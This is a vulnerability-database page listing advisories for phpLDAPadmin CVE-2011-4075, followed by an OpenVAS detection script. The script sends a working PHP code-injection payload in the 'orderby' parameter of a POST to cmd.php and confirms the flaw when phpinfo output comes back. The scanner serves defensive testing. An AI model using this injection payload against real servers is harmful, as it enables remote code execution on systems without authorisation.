| Reporter | Title | Published | Views | Family All 34 |
|---|---|---|---|---|
| CVE-2011-4075 | 23 Oct 201100:00 | – | circl | |
| PHP phpLDAPadmin Remote Code Execution (CVE-2011-4075) | 13 Oct 201300:00 | – | checkpoint_advisories | |
| CVE-2011-4075 | 2 Nov 201117:00 | – | cve | |
| CVE-2011-4075 | 2 Nov 201117:00 | – | cvelist | |
| [SECURITY] [DSA 2333-1] phpldapadmin security update | 30 Oct 201112:29 | – | debian | |
| CVE-2011-4075 | 2 Nov 201117:00 | – | debiancve | |
| Debian DSA-2333-1 : phpldapadmin - several vulnerabilities | 31 Oct 201100:00 | – | nessus | |
| Fedora 16 : phpldapadmin-1.2.1.1-2.20111006git.fc16 (2011-14924) | 26 Nov 201100:00 | – | nessus | |
| Fedora 14 : phpldapadmin-1.2.1.1-2.20111006git.fc14 (2011-14986) | 26 Nov 201100:00 | – | nessus | |
| Fedora 15 : phpldapadmin-1.2.1.1-2.20111006git.fc15 (2011-14993) | 26 Nov 201100:00 | – | nessus |
| Source | Link |
|---|---|
| securityfocus | www.securityfocus.com/bid/50331 |
| phpldapadmin | www.phpldapadmin.sourceforge.net/ |
###############################################################################
# OpenVAS Vulnerability Test
# $Id: gb_phpldapadmin_50331.nasl 7015 2017-08-28 11:51:24Z teissa $
#
# phpLDAPadmin 'functions.php' Remote PHP Code Injection Vulnerability
#
# Authors:
# Michael Meyer <[email protected]>
#
# Copyright:
# Copyright (c) 2011 Greenbone Networks GmbH
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################
tag_summary = "phpLDAPadmin is prone to a remote PHP code-injection vulnerability.
An attacker can exploit this issue to inject and execute arbitrary PHP
code in the context of the affected application. This may facilitate a
compromise of the application and the underlying system; other attacks
are also possible.
phpLDAPadmin versions 1.2.0 through 1.2.1.1 are vulnerable.";
if (description)
{
script_id(103314);
script_version("$Revision: 7015 $");
script_tag(name:"last_modification", value:"$Date: 2017-08-28 13:51:24 +0200 (Mon, 28 Aug 2017) $");
script_tag(name:"creation_date", value:"2011-10-25 16:57:43 +0200 (Tue, 25 Oct 2011)");
script_bugtraq_id(50331);
script_tag(name:"cvss_base", value:"7.5");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
script_cve_id("CVE-2011-4075");
script_name("phpLDAPadmin 'functions.php' Remote PHP Code Injection Vulnerability");
script_xref(name : "URL" , value : "http://www.securityfocus.com/bid/50331");
script_xref(name : "URL" , value : "http://phpldapadmin.sourceforge.net/");
script_tag(name:"qod_type", value:"remote_vul");
script_category(ACT_ATTACK);
script_family("Web application abuses");
script_copyright("This script is Copyright (C) 2011 Greenbone Networks GmbH");
script_dependencies("phpldapadmin_detect.nasl");
script_require_ports("Services/www", 80);
script_mandatory_keys("phpldapadmin/installed");
script_tag(name : "summary" , value : tag_summary);
exit(0);
}
include("http_func.inc");
include("host_details.inc");
include("http_keepalive.inc");
include("version_func.inc");
port = get_http_port(default:80);
if(!can_host_php(port:port))exit(0);
if(! dir = get_dir_from_kb(port:port,app:"phpldapadmin"))exit(0);
url = string(dir, "/index.php");
req = http_get(item:url, port:port);
buf = http_keepalive_send_recv(port:port, data:req, bodyonly:FALSE);
if( buf == NULL ) exit(0);
session_id = eregmatch(pattern:"Set-Cookie: ([^;]*);",string:buf);
if(isnull(session_id[1]))exit(0);
sess = session_id[1];
host = get_host_name();
payload = "cmd=query_engine&query=none&search=1&orderby=foo));}}phpinfo();die;/*";
req = string(
"POST ", dir , "/cmd.php HTTP/1.1\r\n",
"Host: ", host,"\r\n",
"Cookie: ", sess, "\r\n",
"Content-Length: ", strlen(payload),"\r\n",
"Content-Type: application/x-www-form-urlencoded\r\n",
"Connection: close\r\n",
"\r\n",
payload
);
res = http_send_recv(port:port, data:req);
if("<title>phpinfo()" >< res) {
security_message(port:port);
exit(0);
}
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation